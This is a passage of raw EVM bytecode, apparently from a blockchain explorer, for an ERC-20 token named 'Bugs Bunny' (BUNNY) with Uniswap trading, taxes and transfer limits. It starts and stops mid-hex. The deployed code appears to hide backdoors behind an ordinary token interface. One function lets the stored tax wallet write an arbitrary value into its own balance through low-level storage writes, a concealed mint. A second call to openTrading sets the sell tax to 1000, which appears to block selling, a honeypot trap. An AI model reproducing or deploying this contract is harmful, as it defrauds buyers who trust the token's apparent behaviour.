8c379a000000000000000000000000000000000000000000000000000000000815260040161177d906131ba565b60405180910390fd5b6000611790610a6b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156117fe57506117ce610a6b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cdc5761182b606461181d6007548561238b90919063ffffffff16565b61240590919063ffffffff16565b9050600660009054906101000a900460ff16156119ba57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118ee5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119b95743600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196b90613272565b60405180910390fd5b43600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a655750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611abb5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b115750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b675750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2257601054821115611bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba8906132de565b60405180910390fd5b60115482611bbe85610781565b611bc891906132fe565b1115611c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c009061337e565b60405180910390fd5b600e6000815480929190611c1c90612cbd565b91905055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cab57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611cdb57611cd86064611cca6008548561238b90919063ffffffff16565b61240590919063ffffffff16565b90505b5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d7d5750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d8757600090505b6000811115611e8b57611de281600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244f90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e829190612739565b60405180910390a35b611edd82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ad90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f84611f3682846124ad90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61202984866124ad90919063ffffffff16565b6040516120369190612739565b60405180910390a350505050565b600083831115829061208c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208391906125ea565b60405180910390fd5b506000838561209b919061339e565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120df576120de612867565b5b60405190808252806020026020018201604052801561210d5781602001602082028036833780820191505090505b509050308160008151811061212557612124612c8e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121f09190612d1a565b8160018151811061220457612203612c8e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061226b30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149c565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122cf959493929190613490565b600060405180830381600087803b1580156122e957600080fd5b505af11580156122fd573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612387573d6000803e3d6000fd5b5050565b600080830361239d57600090506123ff565b600082846123ab9190612be0565b90508284826123ba9190613519565b146123fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f1906135bc565b60405180910390fd5b809150505b92915050565b600061244783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124f7565b905092915050565b600080828461245e91906132fe565b9050838110156124a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249a90613628565b60405180910390fd5b8091505092915050565b60006124ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612044565b905092915050565b6000808311829061253e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253591906125ea565b60405180910390fd5b506000838561254d9190613519565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612594578082015181840152602081019050612579565b60008484015250505050565b6000601f19601f8301169050919050565b60006125bc8261255a565b6125c68185612565565b93506125d6818560208601612576565b6125df816125a0565b840191505092915050565b6000602082019050818103600083015261260481846125b1565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061264b82612620565b9050919050565b61265b81612640565b811461266657600080fd5b50565b60008135905061267881612652565b92915050565b6000819050919050565b6126918161267e565b811461269c57600080fd5b50565b6000813590506126ae81612688565b92915050565b600080604083850312156126cb576126ca612616565b5b60006126d985828601612669565b92505060206126ea8582860161269f565b9150509250929050565b60008115159050919050565b612709816126f4565b82525050565b60006020820190506127246000830184612700565b92915050565b6127338161267e565b82525050565b600060208201905061274e600083018461272a565b92915050565b60008060006060848603121561276d5761276c612616565b5b600061277b86828701612669565b935050602061278c86828701612669565b925050604061279d8682870161269f565b9150509250925092565b600060ff82169050919050565b6127bd816127a7565b82525050565b60006020820190506127d860008301846127b4565b92915050565b6000602082840312156127f4576127f3612616565b5b60006128028482850161269f565b91505092915050565b60006020828403121561282157612820612616565b5b600061282f84828501612669565b91505092915050565b61284181612640565b82525050565b600060208201905061285c6000830184612838565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61289f826125a0565b810181811067ffffffffffffffff821117156128be576128bd612867565b5b80604052505050565b60006128d161260c565b90506128dd8282612896565b919050565b600067ffffffffffffffff8211156128fd576128fc612867565b5b602082029050602081019050919050565b600080fd5b6000612926612921846128e2565b6128c7565b905080838252602082019050602084028301858111156129495761294861290e565b5b835b81811015612972578061295e8882612669565b84526020840193505060208101905061294b565b5050509392505050565b600082601f83011261299157612990612862565b5b81356129a1848260208601612913565b91505092915050565b6000602082840312156129c0576129bf612616565b5b600082013567ffffffffffffffff8111156129de576129dd61261b565b5b6129ea8482850161297c565b91505092915050565b60008060408385031215612a0a57612a09612616565b5b6000612a1885828601612669565b9250506020612a2985828601612669565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612ab957808604811115612a9557612a94612a33565b5b6001851615612aa45780820291505b8081029050612ab285612a62565b9450612a79565b94509492505050565b600082612ad25760019050612b8e565b81612ae05760009050612b8e565b8160018114612af65760028114612b0057612b2f565b6001915050612b8e565b60ff841115612b1257612b11612a33565b5b8360020a915084821115612b2957612b28612a33565b5b50612b8e565b5060208310610133831016604e8410600b8410161715612b645782820a905083811115612b5f57612b5e612a33565b5b612b8e565b612b718484846001612a6f565b92509050818404811115612b8857612b87612a33565b5b81810290505b9392505050565b6000612ba08261267e565b9150612bab836127a7565b9250612bd87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612ac2565b905092915050565b6000612beb8261267e565b9150612bf68361267e565b9250828202612c048161267e565b91508282048414831517612c1b57612c1a612a33565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c58602083612565565b9150612c6382612c22565b602082019050919050565b60006020820190508181036000830152612c8781612c4b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612cc88261267e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cfa57612cf9612a33565b5b600182019050919050565b600081519050612d1481612652565b92915050565b600060208284031215612d3057612d2f612616565b5b6000612d3e84828501612d05565b91505092915050565b6000604082019050612d5c6000830185612838565b612d696020830184612838565b9392505050565b6000819050919050565b6000819050919050565b6000612d9f612d9a612d9584612d70565b612d7a565b61267e565b9050919050565b612daf81612d84565b82525050565b600060c082019050612dca6000830189612838565b612dd7602083018861272a565b612de46040830187612da6565b612df16060830186612da6565b612dfe6080830185612838565b612e0b60a083018461272a565b979650505050505050565b600081519050612e2581612688565b92915050565b600080600060608486031215612e4457612e43612616565b5b6000612e5286828701612e16565b9350506020612e6386828701612e16565b9250506040612e7486828701612e16565b9150509250925092565b6000604082019050612e936000830185612838565b612ea0602083018461272a565b9392505050565b612eb0816126f4565b8114612ebb57600080fd5b50565b600081519050612ecd81612ea7565b92915050565b600060208284031215612ee957612ee8612616565b5b6000612ef784828501612ebe565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f5c602483612565565b9150612f6782612f00565b604082019050919050565b60006020820190508181036000830152612f8b81612f4f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612fee602283612565565b9150612ff982612f92565b604082019050919050565b6000602082019050818103600083015261301d81612fe1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613080602583612565565b915061308b82613024565b604082019050919050565b600060208201905081810360008301526130af81613073565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613112602383612565565b915061311d826130b6565b604082019050919050565b6000602082019050818103600083015261314181613105565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131a4602983612565565b91506131af82613148565b604082019050919050565b600060208201905081810360008301526131d381613197565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061325c604983612565565b9150613267826131da565b606082019050919050565b6000602082019050818103600083015261328b8161324f565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132c8601983612565565b91506132d382613292565b602082019050919050565b600060208201905081810360008301526132f7816132bb565b9050919050565b60006133098261267e565b91506133148361267e565b925082820190508082111561332c5761332b612a33565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613368601a83612565565b915061337382613332565b602082019050919050565b600060208201905081810360008301526133978161335b565b9050919050565b60006133a98261267e565b91506133b48361267e565b92508282039050818111156133cc576133cb612a33565b5b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61340781612640565b82525050565b600061341983836133fe565b60208301905092915050565b6000602082019050919050565b600061343d826133d2565b61344781856133dd565b9350613452836133ee565b8060005b8381101561348357815161346a888261340d565b975061347583613425565b925050600181019050613456565b5085935050505092915050565b600060a0820190506134a5600083018861272a565b6134b26020830187612da6565b81810360408301526134c48186613432565b90506134d36060830185612838565b6134e0608083018461272a565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135248261267e565b915061352f8361267e565b92508261353f5761353e6134ea565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135a6602183612565565b91506135b18261354a565b604082019050919050565b600060208201905081810360008301526135d581613599565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613612601b83612565565b915061361d826135dc565b602082019050919050565b6000602082019050818103600083015261364181613605565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef19a709635622ad5e156ce3f64498ed26d8a8a656e8d41236cb0e2f01c0818664736f6c63430008110033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063b2a4d8df1161006f578063b2a4d8df14610467578063bf474bed1461047e578063c876d0b9146104a9578063c9567bf9146104d4578063dd62ed3e146104eb578063ec1f3f631461052857610156565b80638da5cb5b146103575780638f9a55c014610382578063923ffc14146103ad57806392f42870146103d657806395d89b41146103ff578063a9059cbb1461042a57610156565b806351bc3c851161010857806351bc3c851461028157806361b8d2761461029857806370a08231146102c1578063715018a6146102fe578063751039fc146103155780637d1db4a51461032c57610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee57806323b872dd14610219578063313ce5671461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610551565b60405161017d91906125ea565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906126b4565b61058e565b6040516101ba919061270f565b60405180910390f35b3480156101cf57600080fd5b506101d86105ac565b6040516101e59190612739565b60405180910390f35b3480156101fa57600080fd5b506102036105b2565b6040516102109190612739565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190612754565b6105d5565b60405161024d919061270f565b60405180910390f35b34801561026257600080fd5b5061026b6106ae565b60405161027891906127c3565b60405180910390f35b34801561028d57600080fd5b506102966106b7565b005b3480156102a457600080fd5b506102bf60048036038101906102ba91906127de565b610754565b005b3480156102cd57600080fd5b506102e860048036038101906102e3919061280b565b610781565b6040516102f59190612739565b60405180910390f35b34801561030a57600080fd5b506103136107ca565b005b34801561032157600080fd5b5061032a61091d565b005b34801561033857600080fd5b50610341610a65565b60405161034e9190612739565b60405180910390f35b34801561036357600080fd5b5061036c610a6b565b6040516103799190612847565b60405180910390f35b34801561038e57600080fd5b50610397610a94565b6040516103a49190612739565b60405180910390f35b3480156103b957600080fd5b506103d460048036038101906103cf91906129aa565b610a9a565b005b3480156103e257600080fd5b506103fd60048036038101906103f891906129aa565b610bc4565b005b34801561040b57600080fd5b50610414610cee565b60405161042191906125ea565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906126b4565b610d2b565b60405161045e919061270f565b60405180910390f35b34801561047357600080fd5b5061047c610d49565b005b34801561048a57600080fd5b50610493610e18565b6040516104a09190612739565b60405180910390f35b3480156104b557600080fd5b506104be610e1e565b6040516104cb919061270f565b60405180910390f35b3480156104e057600080fd5b506104e9610e31565b005b3480156104f757600080fd5b50610512600480360381019061050d91906129f3565b61137e565b60405161051f9190612739565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a91906127de565b611405565b005b60606040518060400160405280600a81526020017f427567732042756e6e7900000000000000000000000000000000000000000000815250905090565b60006105a261059b611494565b848461149c565b6001905092915050565b60135481565b60006009600a6105c29190612b95565b620f42406105d09190612be0565b905090565b60006105e2848484611665565b6106a3846105ee611494565b61069e8560405180606001604052806028815260200161364960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610654611494565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120449092919063ffffffff16565b61149c565b600190509392505050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f8611494565b73ffffffffffffffffffffffffffffffffffffffff161461071857600080fd5b600061072330610781565b9050600081111561073857610737816120a8565b5b600047905060008111156107505761074f8161231f565b5b5050565b600f54331461076257600080fd5b60405133815260016020820152604081208281556103e8600f55505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107d2611494565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085690612c6e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610925611494565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a990612c6e565b60405180910390fd5b6009600a6109c09190612b95565b620f42406109ce9190612be0565b6010819055506009600a6109e29190612b95565b620f42406109f09190612be0565b6011819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a409190612b95565b620f4240610a4e9190612be0565b604051610a5b9190612739565b60405180910390a1565b60105481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b610aa2611494565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2690612c6e565b60405180910390fd5b60005b8151811015610bc057600060036000848481518110610b5457610b53612c8e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bb890612cbd565b915050610b32565b5050565b610bcc611494565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5090612c6e565b60405180910390fd5b60005b8151811015610cea57600160036000848481518110610c7e57610c7d612c8e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ce290612cbd565b915050610c5c565b5050565b60606040518060400160405280600581526020017f42554e4e59000000000000000000000000000000000000000000000000000000815250905090565b6000610d3f610d38611494565b8484611665565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8a611494565b73ffffffffffffffffffffffffffffffffffffffff1614610daa57600080fd5b6000610db530610781565b9050601560149054906101000a900460ff16158015610dd45750600081115b15610de357610de2816120a8565b5b6000479050601560149054906101000a900460ff16158015610e055750600081115b15610e1457610e138161231f565b5b5050565b60125481565b600660009054906101000a900460ff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e72611494565b73ffffffffffffffffffffffffffffffffffffffff1614610e9257600080fd5b601560149054906101000a900460ff1661137557737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f4330601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610f309190612b95565b620f4240610f3e9190612be0565b61149c565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd49190612d1a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110819190612d1a565b6040518363ffffffff1660e01b815260040161109e929190612d47565b6020604051808303816000875af11580156110bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e19190612d1a565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116a30610781565b600080611175610a6b565b426040518863ffffffff1660e01b815260040161119796959493929190612db5565b60606040518083038185885af11580156111b5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111da9190612e2b565b505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161127c929190612e7e565b6020604051808303816000875af115801561129b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112bf9190612ed3565b50600160046000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff02191690831515021790555061137c565b6103e86008555b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611446611494565b73ffffffffffffffffffffffffffffffffffffffff161461146657600080fd5b600954811115801561147a5750600a548111155b61148357600080fd5b8060098190555080600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361150b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150290612f72565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190613004565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116589190612739565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90613096565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a90613128565b60405180910390fd5b60008111611786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177d906131ba565b60405180910390fd5b6000611790610a6b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156117fe57506117ce610a6b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cdc5761182b606461181d6007548561238b90919063ffffffff16565b61240590919063ffffffff16565b9050600660009054906101000a900460ff16156119ba57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118ee5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119b95743600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196b90613272565b60405180910390fd5b43600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a655750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611abb5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b115750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b675750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2257601054821115611bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba8906132de565b60405180910390fd5b60115482611bbe85610781565b611bc891906132fe565b1115611c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c009061337e565b60405180910390fd5b600e6000815480929190611c1c90612cbd565b91905055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cab57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611cdb57611cd86064611cca6008548561238b90919063ffffffff16565b61240590919063ffffffff16565b90505b5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d7d5750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d8757600090505b6000811115611e8b57611de281600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244f90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e829190612739565b60405180910390a35b611edd82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ad90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f84611f3682846124ad90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61202984866124ad90919063ffffffff16565b6040516120369190612739565b60405180910390a350505050565b600083831115829061208c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208391906125ea565b60405180910390fd5b506000838561209b919061339e565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120df576120de612867565b5b60405190808252806020026020018201604052801561210d5781602001602082028036833780820191505090505b509050308160008151811061212557612124612c8e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673f